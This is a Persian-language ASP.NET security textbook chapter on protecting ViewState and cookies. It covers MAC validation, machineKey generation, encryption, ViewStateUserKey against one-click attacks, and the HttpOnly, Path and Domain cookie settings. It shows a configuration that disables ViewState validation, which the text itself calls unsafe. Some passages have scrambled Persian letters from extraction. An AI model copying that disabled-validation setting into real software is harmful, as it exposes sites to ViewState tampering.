کند یجاد میرا ا 64 یشده بر مبنا یان داده رمزگذاریک جریب ین ترکیز بود. ایاشتراک گذاشته و قابل چاپ ن

 ابد.یر ییل تصادفاا تغیمید امانن یمیقد یهاستمید است در انتقال از سیکه بع

را  یآن به فرانسو ٔ  ترجمهو  یسید همانطور که صحبت کردن به انگلیرا درک کن ید رمزنگاریتوانیشما م

ند، ممکن ی( متن را ببیا کدگذاریندارد، ترجمه ) یزبان فرانسو ٔ  درباره یچ دانشیکه ه ید. اگر فردیشویمتوجه م
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و  یسیکه هر دو زبان انگل ین حال، کسیا شکسته و نامفهوم است. با ایو  یمعن یک متن بیاست فرض کند که 

 خواهد بود. یسیفرانسه به زبان انگل ٔ  نسخه ییترجمه و رمزگشا یداند، قادر به بازگردانیفرانسه را م

 یذارد، قفل گیک کلیک مقدار را گرفته و آن را با استفاده از یکند. در واقع یکار م یبه روش متفاوت یرمزگذار

 یبدانند که چه نوع قفل یکه ممکن است ناظران یاست. درحال یید قابل بازگشایکند و تنها توسط همان کلیم

 شده را مشاهده کنند. یرمزگذار ید داده هایار داشتن کلیتوانند بدون دراختیاستفاده شده اما نم

که  یگرید ٔ  برنامهتواند توسط هر یشود، میم یفرض رمزگذار شیطور پتنها به ViewStateنکه یل ایبه دل

انگذاران یاز بن یکی) Fritz Onionشود.  ییکند، رمزگشا ییرا رمزگشا 64 یداند چگونه داده بر مبنایم

Pluralsight ،ک مشارکت کننده مکرر در کنفرانس یو آموزش و  یفن یک سازمان ارائه محتوایASP.NET  و

 د.یکنیر مشاهده مینوشته است که آن را درشکل ز "ViewState Decoder"به نام  یابزار MSDN(مجله

 د.یابیب http://www.pluralsight.com/community/media/p/51688.aspxد در آدرس یتوانین ابزار را میا

 

 ViewState یشکل: رمزگشا
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وب  ٔ  صفحهاز  ViewStateلد یک فی ViewState Decoderد، ابزار یکنیهمانطور که در شکل مشاهده م

اطلاعات حساس  ٔ  یرهذخ یبرا ViewStateکند. اگر شما از ین مییره شده در آن را تعیافت کرده و مقدار ذخیدر

 دا کند.یپ ین ابزار استفاده کرده و به اطلاعات حساس شما دسترسیتواند از ایک مهاجم مید، یکنیاستفاده م

 view state: رمزگذاری اطلاعات در  1-4-5

 .آشنا خواهیم شد view state من سازی اطلاعات ذخیره شده دردر این بخش با نحوه ای

 .در یک رشته درهم آمیخته مشابه زیر ذخیره می گردد view state اطلاعات

 :کد

<input type=”hidden” 

name=”__VIEWSTATE” 

value=”/wEPDwUKMTUyMzMyNzc3NGRklXVE/6qqfC5AWkr1Yw0Xu5IpHg0=”/> 

با توجه به این  .، طول این رشته طولانی تر خواهد شدview state ات بیشتر بهبه موازات اضافه کردن اطلاع

بر این  ASP.NET که مقدار ذخیره شده در رشته فوق به صورت متن شفاف نمی باشد، بسیاری از برنامه نویسان

در واقع،  .واقعیت اینچنین نیست یول به صورت رمز شده است. view state باور هستند که داده ذخیره شده در

 یک تبدیل می شوند. Base64 به سادگی در حافظه به یکدیگر متصل شده و به یک رشته view state اطلاعات

را بررسی و از اطلاعات ذخیره شده  view stateهکر باهوش می تواند با استفاده از مهندسی معکوس رشته فوق، 

 .در آن به سرعت آگاه گردد

 .نشان می دهد Base64 ه معمولی را به یک رشتهکد زیر نحوه رمز کردن یک رشت

 :کد

Private Function EncodeBase64(ByVal input As String) As String 

Dim strBytes() As Byte = System.Text.Encoding.UTF8.GetBytes(input) 

Return System.Convert.ToBase64String(strBytes) 

End Function 
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 .را به یک رشته معمولی نشان می دهد Base64 ئی یک رشتهکد زیر نحوه رمز گشا

 :کد

Private Function DecodeBase64(ByVal input As String) As String Dim strBytes() As Byte = 

System.Convert.FromBase64String(input) 

Return System.Text.Encoding.UTF8.GetString(strBytes) 

End Function 

دارای ایمنی بیشتری باشند از دو گزینه مختلف  view state صورتی که لازم است اطلاعات ذخیره شده دردر 

 :می توان استفاده کرد

به عنوان  hash codeاستفاده نماید. برخی اوقات از  hash code اعلام شود که از یک ASP. NETبه  :گزینه اول

 تمامی داده ذخیره شده در ASP. NETدر چنین مواردی،  قدرتمند پنهانی نیز یاد می شود. checksum یک

view state را بررسی و یک الگوریتم hashing  را بر روی آن اعمال می نماید. الگوریتم فوق یک سگمنت کوتاه از

 view است. در ادامه، کد فوق به انتهای داده ذخیره شده در hash code داده را ایجاد می نماید که در واقع همان

state که صفحه یزمان .اضافه می گردد post back  ،می گرددASP. NET داده موجود در view state  را بررسی

در ادامه مقدار محاسبه شده با مقدار موجود  .را با استفاده از فرآیندی مشابه تولید می نماید hash code ”و مجددا

 .تغییر نکرده باشد view state ده ذخیره شده دردر رشته مقایسه می گردد تا این اطمینان حاصل شود که دا

 hash یک ASP. NETرا تغییر دهد،  view state در صورتی که یک کاربر بداندیش بخشی از داده موجود در

code را تولید خواهد کرد که با کد ذخیره شده در انتهای view state  مطابقت نخواهد کرد. در صورت تحقق

 .بطور کامل نادیده گرفته خواهد شد postbackچنین شرایطی، 

شاید در ذهن شما این موضوع مطرح شده باشد که یک کاربر باهوش می تواند با بکارگیری ترفندهائی بر 

مناسب و منطبق بر اطلاعات  hash codeمشکل اشاره شده غلبه کرده و علاوه بر تولید اطلاعات نادرست، یک 

د نماید. در پاسخ می بایست به این نکته اشاره کرد که کاربران بداندیش را نیز تولی view state ذخیره شده در
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نمی باشند.  ASP. NET صحیح نخواهند بود چراکه آنان دارای کلید رمزنگاری مشابه hash code قادر به تولید

 .تولید شده با وضعیت موجود نمی تواند مطابقت نماید hash code این بدان معنی است که

hash code بنابراین در صورت تمایل به استفاده از پتانسیل فوق، لازم نیست که ؛ طور پیش فرض فعال استب

مراحل اضافه ای را دنبال نمود. در برخی موارد پیاده کنندگان ویژگی فوق را غیرفعال می نمایند تا از مشکلات 

ندگان مختلف دارای کلیدهای پیشگیری نمایند. در چنین وضعیتی، سرویس ده web farm احتمالی موجود در یک

صفحه، یک سرویس دهنده جدید آن را  post back مختلفی می باشند و مشکل زمانی اتفاق می افتد که پس از

 .دریافت نماید

در صورتی که کلید  .کلید می بایست در بین تمامی سرویس دهندگان یکسان باشد web farm در یک محیط

دهنده متفاوت با سرویس دهنده ای که صفحه را ایجاد کرده است،  یکسان نباشد و صفحه برای یک سرویس

post back در یک محیط ین؛ بنابراگردد، یک خطاء ایجاد خواهد شد web farm می بایست پیاده کنندگان یک ،

اجازه داده شود که این کلید  ASP.NET در مقابل این که به)مشخص نمایند  Machine.config کلید را در فایل

 .بطور اتوماتیک ایجاد نمایدرا 

 در فایل <pages>عنصر  enableViewStateMac ، می بایست از خصلتhash codes برای غیرفعال کردن

web.config و یا machine.config به صورت زیر استفاده کرد. 

 :کد

<configuration > 

<system.web> 

<pages enableViewStateMac=”false” /> 

… 

</system.web> 

</configuration> 
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این موضوع را بررسی خواهد کرد که آیا داده ذخیره  ASP. NET، فریمورک hash با ایجاد یک کد :گزینه دوم

همچنان  view state دستکاری شده است ؟ علی رغم ایجاد این لایه امنیتی، داده موجود در view state شده در

 .قابل مشاهده توسط کاربران بداندیش خواهد بود

حساسیت زیادی وجود داشته باشد و بخواهیم امنیت  view state در صورتی که بر روی داده ذخیره شده در

را فعال کرد. برای فعال کردن ویژگی فوق از خصلت  view state آن را افزایش دهیم، می بایست رمزنگاری

ViewStateEncryptionMode به همراه دایرکتیو page استفاده می گردد. 

 :کد

<%@Page ViewStateEncryptionMode=”Always” %> 

 .در صورت تمایل می توان از خصلت فوق در فایل پیکربندی نیز استفاده کرد

 :کد

<configuration > 

<system.web> 

<pages viewStateEncryptionMode=”Always” /> 

… 

</system.web> 

</configuration> 

 :یکی از مقادیر زیر را می توان نسبت داد ViewStateEncryptionModeبه خصلت 

➢ Always: همواره رمزنگاری انجام می شود. 

➢ Never: رمزنگاری انجام نخواهد شد. 
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➢ Auto: در مواردی که یک کنترل با صراحت آن را درخواست نماید، انجام خواهد ” رمزنگاری صرفا

 .شد

فراخوانی متد است. این بدان معنی است که یک کنترل با  Auto گزینه پیش فرض

Page.RegisterRequiresViewStateEncryption در صورتی که یک کنترل  .رمزنگاری را درخواست می نماید

رمز نخواهد شد و عملیات بیشتری  view stateبه دلیل عدم داشتن اطلاعات حساس از متد فوق استفاده نکند، 

یک کنترل زمانی می تواند دل خود را به خدمات به عبارت دیگر، ؛ جهت رمزنگاری به سیستم تحمیل نخواهد شد

در نظر  Auto ، معادلviewStateEncryptionModeارائه شده توسط متد فوق خوش نماید که مقدار خصلت 

در نظر گرفته شده باشد، به درخواست کنترل ها جهت  Never گرفته شده باشد. در صورتی که مقدار خصلت فوق

 .درمزنگاری پاسخ داده نخواهد ش

هم در زمان رمزنگاری ) با توجه به این که رمزنگاری عملیات بیشتری را به سرویس دهنده وب تحمیل می نماید

در صورت عدم نیاز به پتانسیل فوق و به منظور عدم تاثیرگذاری  (post back و هم در زمان رمزگشائی پس از هر

 .وجود نداردآن بر روی کارآئی برنامه های وب، ضرورتی به فعال کردن آن 

 ViewState یاعتبارسنج 2-4-5

ک مقدار ید یتوانید که میشده است، ممکن است فرض کن یکدگذار viewstateد که چگونه یاگر شما بدان

ViewState ک صفحه یجاد و آن را به یا یکامال جعلASP.NET ت افزودن ین کار به شما قابلید. ایارسال کن

که رفتار  تواند به مهاجم اجازه دهدیرات، میین نوع تغیدهد. ایرا م ره شده در صفحهیر ذخیش و حذف مقادیرایو

جاد شدن، یرا بعد از ا ViewStateشفرض یطور پبه Asp.Netاما ؛ ردیار بگیکنترلها در کد سمت سرور را در اخت

ک مقدار یجاد یو ا ViewStateر یمقاد ین عمل توسط درهمسازیست. ایر دادن نییجه قابل تغیکند، درنتیامضا م

د که در سرور یک کلیشده بعداا توسط  ین مقدار درهمسازیشود. ایانجام م ViewState یمنحصربه فرد از محتوا

در طول  Asp.Netرد. یگیقرار م ViewStateشده در  یین مقدار رمزگشایشود و ایم ییره شده، رمزگشایذخ
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شده درون آن و محاسبه دوباره  یمقدار درهم ساز ییق رمزگشایرا از طر ViewStateند ارسال/بازگرداندن، یفرا

دا نکند، یشده مطابقت پ ین مقدار درهم سازیکند. اگر ایم ی، اعتبارسنجViewState یمحتوا یمقدار درهمساز

ViewState یک خطایشده و  یدستکار ViewStateException تواند یک مهاجم میدهد. اگر چه یرخ م

viewstate استفاده شده در  ید رمزگذاریتواند از کلیشده خود ارسال کند، اما نم یهم سازبا مقدار در یجعل

مهاجم اقدام کند، با  ViewState ییرمزگشا یبخواهد برا Asp.Netکه  ین زمانیبنابرا؛ دا کندیپ یسرور آگاه

ج بشود. یمشکل راجاد دو یتواند باعث ایم یسم اعتبارسنجین مکانیدهد. ایک استثنا رخ میشکست مواجه شده و 

ش یطور پد. بهیزبان اجرا کنین مین ماشیچند ید نرم افزار خود را بر رویدهد که شما بایرخ م یمشکل اول زمان

د یا کلی) ید رمزگذاریبه مرورگر ارسال شود، کل Aن یتوسط ماش ViewStateک درخواست شامل یفرض، اگر 

؛ شودید مین تولیماش یبرا یطور تصادفبه یاعتبارسنج یازمقدار درهم س یرمزگذار ین( مورد استفاده برایماش

 Aن یشود چراکه ماشیآن با شکست روبرو م ییافت کرده و رمزگشایدرخواست را در Bن یگر ماشیاما از طرف د

د یدوباره شود، مقدار کل یشما راه انداز ٔ  برنامهن است که اگر یدارند. مشکل دوم ا ین متفاوتید ماشیکل Bو 

ک صفحه به مرورگر کلاینت ارسال شود، سپس برنامه قبل از بازگشت یاگر  یعنیشود؛ ید میدوباره تولن یماش

 شود.یرا باز گرداند، برنامه با شکست مواجه م ViewStateدوباره شده و  یصفحه، راهانداز

ک صفحه یر د Falseبا  EnableViewStateMacکردن صفت  یرا با مقدارده ViewState یتوان اعتبارسنجیم

را  ViewState یدهد که داده هایرا به مهاجمان اجازه میاست ز یبد یدهین ایرفعال کرد اما ایا کل برنامه، غی

ن منطبق با آن ید ماشیک کلی ین داراید که هر ماشینان حاصل کنید اطمیکنند. در عوض، شما با یدستکار

شفرض، یطور پد. بهیکن یکربندیپ web.configل یر فاد <machineKey>د با عنصر یتوانین را مید ماشیاست. کل

ر یمات زیشده و شامل تنظ ینصب چارچوب دات نت مقدارده ٔ  پوشهدر  web.config یل عمومین عنصر در فایا

 است:

<machineKey 

validationKey="AutoGenerate, IsolateApps" 
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decryptionKey="AutoGenerate, IsolateApps" 

validation="SHA1" 

decryption="AUTO" /> 

 یمال رمزگذاریجاد کرده و آنها را در قالب هگزادسید ایجد ید اعداد تصادفیدها، بایکل یدست یمقدارده یبرا

د آن را یتوانیدهد و شما میش مید کرده را نمایمناسب تول machineKeyک برنامه که عنصر یر ید. مثال زیکن

 د.یخود اضافه کن web.configل یبه فا

using System; 

using System.Security.Cryptography; 

using System.Text; 

namespace MachineKeyGenerator 

{ 

class Program 

{ 

static readonly RNGCryptoServiceProvider rngProvider = 

new RNGCryptoServiceProvider(); 

static void Main(string[] args) 

{ 

StringBuilder machineKeyElement = new StringBuilder(); 

machineKeyElement.Append(" <machineKey\n"); 

machineKeyElement.Append(" validationKey=\""); 

machineKeyElement.Append(CreateRandomKey(64)); 

machineKeyElement.Append("\"\n"); 

machineKeyElement.Append(" decryptionKey=\""); 

machineKeyElement.Append(CreateRandomKey(32)); 

machineKeyElement.Append("\"\n"); 

machineKeyElement.Append(" validation=\"SHA1\"\n"); 

machineKeyElement.Append(" decryption=\"AES\"\n"); 

machineKeyElement.Append("/ >"); 

Console.WriteLine(machineKeyElement.ToString()); 

} 

static string CreateRandomKey(int length) 

{ 
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byte[] randomKey = new byte[length]; 

rngProvider.GetBytes(randomKey); 

string hex = BitConverter.ToString(randomKey); 

return hex.Replace("-", ""); 

} 

} 

} 

OrcsWeb ن در زبایک ارائه دهنده میAsp.Net  یک صفحه وب دارد که عنصرهایاست که machineKey 

شود، گرفتن یاستفاده م یو اعتبارسنج یرمزگذار ین براید ماشینکه کلین حال، با توجه به ایکند. با اید میتول

ره کند، شما متوجه ین مقدار را ذخیک خطر است و اگر شخص ثالث ایک شخص ثالث، یاز  ید رمزنگاریکل

د کرد، به خطر افتادن یاستفاده خواه یتیداند که از چه وبساینم OrcsWebستم یکه س ییاما از آنجا؛ دیوشینم

 زیر بیابیدستم را در آدرس ین سید ایتوانیابد. شما میید کاهش میکل

http://www.orcsweb.com/articles/aspnetmachinekey.aspx 

ن ید ماشیکن کلیآ یرفته و رو IIS7ت یرید، به مدین استفاده کنید ماشید کلیتول یبرا IIS7د از یخواهیاگر م

نک یل ید، روید کنید ثابت تولیک کلید یخواهیکه م ید. درصورتیک کنیکل Asp.Net یهایژگیست ویدر ل

"Generate Keys" ت یرید. با استفاده از مدیک کنیات کلیدر پنل عملIIS همهن را به ید ماشیک کلید یتوانیم  ٔ 

د، یکنیتها انتخاب میسا ٔ  پوشهدر  Connectionsت خاص که از پنل یک سایا ین یک ماشی یرو یتهایسا

 یبرا validationKeyشود. یاستفاده نم ViewState یاعتبارسنج یفقط برا machineKeyد. عنصر یاختصاص ده

ناشناس استفاده  ییناسار نقش و شیعنوان مدن بهیبر فرم و همچن یت مبتنیت در احراز هویاحراز هو یامضا

و  یرمزگذار یبرا یاریصورت اختت و بهیاحراز هو ییو رمزگشا یرمزگذار یبرا decryptionKeyشود.یم

 شود.یاستفاده م viewstate ییرمزگشا
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ن در توسعه ید ماشیک کلیشود. اگر شما از  یصورت رمز نگهدارد بهی، باmachineKeyت عنصر یل اهمیبه دل

ران سرور است یستم خود که تنها در دسترس مدیس ید بر روین جدید ماشیک کلید از ید، بایکنیاستفاده م

 د.یمحافظت کن web.configآن را در درون  ید با رمزگذارین باید. همچنیاستفاده کن

 ViewState یرمزگذار 3-4-5

تواند یم ViewState یشود. رمزگذارینم یش فرض رمزگذاریصورت پبه ViewStateد.یهمانطور که آموخت

 یرا حت ViewState ید رمزگذاریتوانین میک برنامه درخواست شود. همچنیا یک صفحه یک کنترل، یتوسط 

شود، برنامه  یرمزگذار ViewStateد. هرگاه یرفعال کنیک کنترل آن را درخواست کرده باشد، غیکه  یدر صورت

 یبه اجرا درآوردن رمزگذار یآن را مشاهده کنند. برا یتوانند محتواینم ViewStateDecoderمانند  ییها

viewstate د صفت یک برنامه، بای یبراviewStateEncryptionMode  در عنصرpages ل یدر فاWeb.Config  را

 د.یکن یر نشان داده شده، مقداردهیهمانطور که در ز

<pages ... viewStateEncryptionMode="Always" ... /> 

 یبا فراخوان صفحه هر در یرمزگذار درخواست کد خود در یسینوبرنامه با دیانتویمن یهمچن

Page.RegisterRequiresViewStateEncryption یژگیو میتنظ با ای و 

ViewStateEncryptionMode د.یر نشان داده شده، انجام دهیند صفحه، همانطور که در زیدر سرآ 

<% @Page Language="C#" ... ViewStateEncryptionMode="Always" %> 

 یمخف یلدهایاندازه ف ین بررویش و پاسخ صفحه شده و همچنیش زمان نمایباعث افزا ViewState یرمزگذار

 گذارد.یر میتأث

 ViewState One-Clickحملات حفاظت در برابر  4-4-5
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داشته باشد، در  یمداخلهاات آن یتواند با محتویچ کس نمیکند که هین میتضم ViewState یاعتبارسنج

آن را مشاهده کند.  یتواند داده هایچ کس نمیکند که هین می( تضمیاری( اخت ViewState یکه رمزگذار یحال

دهد یرخ م یزمان یبازساز ٔ  حملهاست.  یمانده و آن حملات بازساز یهنوز باق یریب پذیک آسین حال، یبا ا

گر، ارسال یا تحت بستر کاربر دیبعد  ٔ  نقطهگرفته و آن را به  یمعتبر از درخواست قبل ViewStateک یکه مهاجم 

 کند.یم

 ٔ  حملهک ی( که CSRF) یتیساینبتوان در جعل درخواست یرا مViewState یبازساز ٔ  حملهک یاغلب 

One-Click ک یپت به یجاوا اسکرق یک فرم از طرین نوع حمله، یشود مورد استفاده قرار داد. در ایده میز نامین

شه کار یشود، آثار حمله همینم یمنقض ViewStateنکه یل ایشود. متاسفانه، به دلیر ارسال میب پذیآس ٔ  صفحه

 خواهد کرد.

 قفل یک روش برایرا به عنوان  ViewStateUserKey یژگیو ASP.NETن روش حمله، یل ایبه دل

ViewState شود،  یمقدارده یژگین ویا اگر است. ه دادهیا نشست ارایک کاربر خاص و ی یبراASP.NET ن یاز ا

مقدار به نام  ینا ،یکند. به طور کلیاستفاده م یت و اعتبارسنجیتمام یبررس ید، برایاز کل یمقدار به عنوان بخش

م ی، تنظینشست فعل ینشست برا ٔ  شناسهن در دسترس نباشد، به یو اگر ا یق شده فعلیکاربر تصد یکاربر

ا توسط یگر و یک نشست دیتواند در یکه نم یکند به طوریرا قفل م ViewStateکار به طور موثر  ینا شود.یم

اضافه  ViewStateبه  یک زمان انقضا ضمنیرد. استفاده از شناسه نشست، یمورد استفاده قرار گ یگریکاربر د

ل بکشد و اگر نشست هنگام طو یادیل شدن زمان زیتکم یشما برا یهافرمد که اگر یکند. در نظر داشته باشیم

گر معتبر نخواهد ید ViewStateرخ خواهد داد، چرا که  ییاز آن خطا پس شود، یارسال فرم توسط کاربر منقض

 بود.

 یه آن، مقداردهیو تجز ViewState یا بارگذاریجاد و ید قبل از ایبا ViewStateUserKey یژگیاز آنجا که و

د یخواهید که میم شود. فرض کنیتنظ Initداد یعمر صفحه در رو ٔ  چرخهل ید در اواین بایشود، بنابرا
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ViewStateUserKey به  ن روش وجود دارد، از جمله پاسین منظور چندیا ید. برایرا در هر صفحه به کار ببر

تمام  یبرا یسفارش ٔ  یهپاک کلاس یا استفاده از ی، Global.asaxدر  PreRequestHandlerExecuteداد یرو

 ر نشان داده شده است.یدر مثال ز Global.asaxداد در ین رویبه ا از پاس یهانمونه صفحات خود.

<% @Application Language="C#" %> 

<script runat="server"> 

void Application_PreRequestHandlerExecute 

(object sender, EventArgs e) 

{ 

HttpContext context = HttpContext.Current; 

// Check we are actually in a webforms page. 

Page page = context.Handler as Page; 

if (page != null) 

{ 

// Use the authenticated user if one is available, 

// so as the user key does not expire over 

// application recycles. 

if (context.Request.IsAuthenticated) 

{ page.ViewStateUserKey = context.User.Identity.Name; 

} 

else 

{ 

page.ViewStateUserKey = context.Session.SessionID; 

} 

} 

} 

</script > 

د و یهمه صفحات به خاطر داشته باش یه را برایست که کلاس پاین یازیت است که نین مزیا ین روش دارایا

ه یک کلاس پاید از یدهیح مید. اگر ترجیر ندهییچگاه آن را تغید که هیست که به خاطر داشته باشین یازین

 د.یر نشان داده شده است استفاده کنیکه به عنوان مثال در ز OnInitداد ید از رویتوانید، میاستفاده کن یسفارش
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using System; 

using System.Web.UI; 

public class ProtectedViewStatePage: Page 

{ 

protected override void OnInit(EventArgs e) 

{ 

if (Request.IsAuthenticated) 

{ 

ViewStateUserKey = User.Identity.Name; 

} 

else 

{ 

ViewStateUserKey = Session.SessionID; 

} 

base.OnInit(e); 

} 

} 

پشت صفحه  یکدهاد. اگراز یر دهیید تغیه جدیکلاس صفحات خود را به کلاس پا ید ارثبریبعد از آن شما با

 ر:ید، مانند زیم کنیتنظ web.configدر  <pages>ه را با استفاده از عنصر ید کلاس پایتوانی، مکنیدینماستفاده 

<system.web> 

<pages pageBaseType="ProtectedViewStatePage"></pages> 

</system.web> 

 از صفحه کلاینت ViewStateحذف   5-4-5

 از صفحه کلاینت است. یوجود دارد و آن حذف کل ViewStateمحافظت از  یبرا یگریسم دیمکان

.2 .ASP.NET  کلاسPageStatePersister شفرض، یکرد. به طور پ ین کار معرفیبه انجام رساندن ا یرا برا

در صفحه  یلد مخفیک فیرا در  ViewStateکنند که یاستفاده م HiddenFieldPageStatePersisterصفحات از 

HTML ن حال، یا با کند.یره میذخASP.NET ن یهمچنSessionPageStatePersister دهد که یه میرا ارا
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ViewState یژگید ویتوانیکند، میک صفحه استفاده میکه  یزمیر مکانییتغ یکند. برایرا در حالت نشست وارد م 

PageStatePersister  ر:ید، مانند زیکن یسیک صفحه بازنویرا در 

protected override PageStatePersister PageStatePersister 

{ 

get 

{ 

return new SessionPageStatePersister(this); 

} 

} 

 ViewState یمخف یلدهاید که چرا فید، ممکن است تعجب کنیف را به صفحه خود اضافه کنین تعریاگر ا

د ید دی، شما خواهViewStateDecoderشوند. در صورت استفاده از ابزار ید میشما تول ٔ  صفحه HTMLهنوز در 

ک مرجع است که یدارد، بلکه یر را در صفحه خود نگه نمیدها و مقادیگر کلید ViewStateکه 

SessionPageStatePersister کند.یر از حافظه خود استفاده میمقاد یابیباز یبرا 

همه  یه مشترک برایک کلاس پایا در داخل یرا در هر صفحه و  SessionPageStatePersisterد یتوانیشما م

ره شده یذخ ViewState یتعداد  SessionPageStatePersisterشفرض، ید. به طور پیکن یکربندیصفحات، پ

ن یشود. ایخته میدور ر ViewStateن یتریمیدارد. اگر به حداکثر تعداد برسد، قدیک نشست را نگه می یبرا

 توانند در برنامه شما باز کنند.یاست که کاربران م ییهاپنجرهتعداد  حداکثر ت،یمحدود

ن ید. با ایش دهیافزا < <sessionPageState یکربندیره شده را در عنصر پیذخ ViewStateد تعداد یتوانیم

 دهد.یر قرار میوب سرور را تحت تاث ین کار حافظه موجود بر رویحال، واضح است که ا

 هایکوکاستفاده امن از   5-5

ل ین حال، به دلیم. با اینکه اطلاعات مختص کاربر را در دسترس نگه داریا ید هستند برایراه مفک ی هایکوک

 .پذیرندیبآسا سواستفاده یو  یبکاریشوند، در برابر فریوتر مرورگر فرستاده میبه کامپ هایکوکنکه یا
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 د:یر را دنبال کنیز یهادستورالعمل

 هایکوکبه صورت موقت، در  یعبور کاربر را حت ٔ  کلمهمانند  یچگونه اطلاعات حساسیه ➢

شما  ٔ  برنامهرند، یکه اگر مورد سواستفاده قرار بگ یک قانون، اطلاعاتید. به عنوان یره نکنیذخ

ره اطلاعات یک مرجع از محل ذخیآن  ید و به جاینکن یها نگهدار-یافتد را در کوکیبه خطر م

 د.یره کنیذخ یدر سرور درون کوک

 یمیدا ید و از کوکیکن ید مقداردهیتوانیکه م یزمان عمل ینترکوتاهرا  هایکوک یانقضا یتار ➢

 د.ییدر صورت امکان اجتناب نما

 د.یره کنیذخ یشده در کوک یاطلاعات را به صورت رمزگذار ➢

 د.یکن یمقدارده trueرا با  یدر کوک Httpو  Secure یهایژگیو ➢

 هایکوکحفاظت از   1-5-5

 HTTPOnly هاییکوککروسافت مفهوم ی، ما6نترنت اکسپلور یا یبرا 1س پک یسرو، با انتشار 2002در سال 

 داد.ینشست را مورد هدف قرار م هاییکوک XSSاز حملات  یاریکه بس چرا کرد، یرا معرف

پت سمت کلاینت، یدر جاوا اسکر یت خواندن )و نوشتن، بسته به مرورگر( کوکین بردن قابلیاست، با از ب یهیبد

هنوز هم  HTTPOnly هاییکوکحال حاضر، فقط  در به سرقت برود. XSS یک حملهیتواند توسط ینم یکوک

شوند  خوانده شود،یشتر مرورگرها استفاده میدر ب Ajaxپت یاسکر یکه برا XMLHttpRequestبه  تواند از پاسیم

 کند.ین امر محافظت میو بعد در برابر ا 3.0.0.6رفاکس یو فقط فا

 دهد.یش میرا نما HTTPOnly هاییازکوکج یرا یمرورگرها یبانیر پشتیجدول ز

 HTTPOnly هاییازکوکج یرا یمرورگرها یبانیجدول: پشت

 از نوشتن یریجلوگ از خواندن یریجلوگ نسخه مرورگر

Internet Explorer 8 بله بله 
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Internet Explorer 7 بله بله 

Internet Explorer 6 ریخ بله 

Mozilla Firefox 3 بله بله 

Mozilla Firefox 2 بله بله 

Opera 9.5 ریخ بله 

Opera 9.2 ریخ ریخ 

Safari 3.0 ریخ ریخ 

Google Chrome ریخ بله نسخه بتا 

 2 .2.0ASP.NET ،)صفت ٔ  مجموعه یشههم )و بعد HTTPOnly  احراز  هاییکوکنشست  ٔ  شناسهرا در

، مانند web.configل یق فایجادشده سمت سرور را از طریا هاییکوکد تمام یتوانیدهد. شما میت فرم قرار میهو

 د:یکن یکربندیر پیز

<system.web> 

 <httpCookies httpOnlyCookies="true"/ > ..... 

</system.web > 

د، ین کنییتع یسینوبرنامهد با یتوانیرا م HTTPOnly ش از حد محدودکننده باشد، پرچمین بیکه ا یدر صورت

 ر:یمانند ز

HttpCookie protectedCookie = new HttpCookie("protectedCookie"); 

 protectedCookie.HttpOnly = true; 

Response.AppendCookie(protectedCookie); 

حفاظت  ید برایجه نبایکنند و در نتینم یبانیپشت یژگین وید که همه مرورگرها از اید به خاطر داشته باشیبا

 د.یه کنیتک یژگین ویا یحساس تنها رو یهایکوک

 یکوک ٔ  محدودهکنترل   2-5-5
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ت، به سرور فرستاده یبه سا یره شده و با هر درخواستیدر سمت کلاینت ذخ هایکوک ٔ  همهفرض،  شیبه طور پ

د به یتوانیم شما ن وجود،یرد. با ایگیت را میآن سا هاییکوک ٔ  همهت یگر، هر صفحه در سایبه عبارت د؛ شوندیم

 د:ین کنییمحدوده تع هایکوک یروش برادو 

را به  هایکوکدهد یکه به شما اجازه م ک پوشه در سروریبه  هایکوک ٔ  دامنهمحدودکردن  ➢

 د.یت محدود کنیسا یک برنامه روی

 هایردامنهزک از ید که کدام ین کنییدهد تعیکه به شما اجازه م ک دامنهیم محدوده به یتنظ ➢

 دارند. یدسترس یک دامنه به کوکیدر 

 ا برنامهیک پوشه یبه  هایکوکمحدودکردن   1-2-5-5

 د:یکن یر مقداردهیرا مانند مثال ز یکوک Pathک پوشه در سرور، صفت یبه  هایکوکمحدود کردن  یبرا

HttpCookie appCookie = new HttpCookie("AppCookie"); appCookie.Value = "written " + 

DateTime.Now.ToString(); appCookie.Expires = DateTime.Now.AddDays (1);  

appCookie.Path = "/Application1;" 

Response.Cookies.Add(appCookie); 

Path شود که ین میباشد. مثال بالا منجر به ا یشه مجازیا ریت یشه سایتحت ر یکیزیر فیک مسیتواند یم

مثال، اگر آدرس  یدر دسترس باشد. برا یمجاز یشهیا ری 1Applicationتنها در صفحات موجود در پوشه  یکوک

صفحات با آدرس  یجاد شده در مثال بالا، برایا یباشد، کوک www.contoso.comت شما یسا

/1http://www.contoso.com/Application  ن پوشه قرار دارد، در دسترس خواهد بود یکه در ا یاصفحهو هر

 یا حتی 2http://www.contoso.com/Applicationگر مانند /یصفحات برنامه د یاما برا

http://www.contoso.com/ نخواهد بود. یدر دسترس 

پ یتا ید چگونگیتوانینم شما حروف حساس است. یو کوچک یر نسبت به بزرگیمرورگرها، مس ینکته: در برخ

گره خورده به  هاییکوکشما به  ٔ  برنامهد، اما اگر یکاربران را در مرورگر خود کنترل کن ینترنتیا یکردن آدرسها
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 یژگی، با مقدار ویداکردهجاد یکه ا هاییینکل یتمام یهاآدرسد که یدارد، مطمئن شو یر خاص بستگیک مسی

Path حروف( مطابقت دارد. یو کوچک ی)از نظر بزرگ 

 یکوک ٔ  دامنهمحدود کردن   2-2-5-5

ت شما یمثال، اگر سا یخاص در ارتباط هستند. برا ٔ  دامنهک یبا  هایکوکشفرض، یبه طور پ

www.contoso.com ییها-یت را داشته باشند، همه کوکیکه کاربران درخواست هر صفحه از سا یباشد، زمان 

 یت شما دارایسا اگر شود(.یر خاص نمیک مقدار مسیبا  هایکوکشود )شامل یبه سرور ارسال م یدانوشتهکه شما 

ردامنه یک زیها را به ید کوکیتوانی، مsupport.contoso.comو  sales.contoso.comمانند  ردامنه باشدیچند ز

 د:یکن یرا مقدارده یکوک Domainر، صفت ین کار، مانند مثال زیانجام ا ید. برایخاص مرتبط کن

Response.Cookies["domain"].Value = DateTime.Now.ToString(); 

Response.Cookies["domain"].Expires = DateTime.Now.AddDays(1); 

Response.Cookies["domain"].Domain = "support.contoso.com"; 

ردامنه مشخص شده در دسترس یصفحات ز یها فقط برایشود، کوک ین روش مقداردهیکه دامنه به ا یزمان

ن ین چندیتواند بید که میجاد کنیا یک کوکی، Domainد با استفاده از صفت یتوانیم ینهمچن خواهند بود.

 ر:یمانند مثال ز؛ ردامنه به اشتراک گذاشته شودیز

Response.Cookies["domain"].Value = DateTime.Now.ToString(); 

Response.Cookies["domain"].Expires = DateTime.Now.AddDays(1); 

Response.Cookies["domain"].Domain = "contoso.com"; 

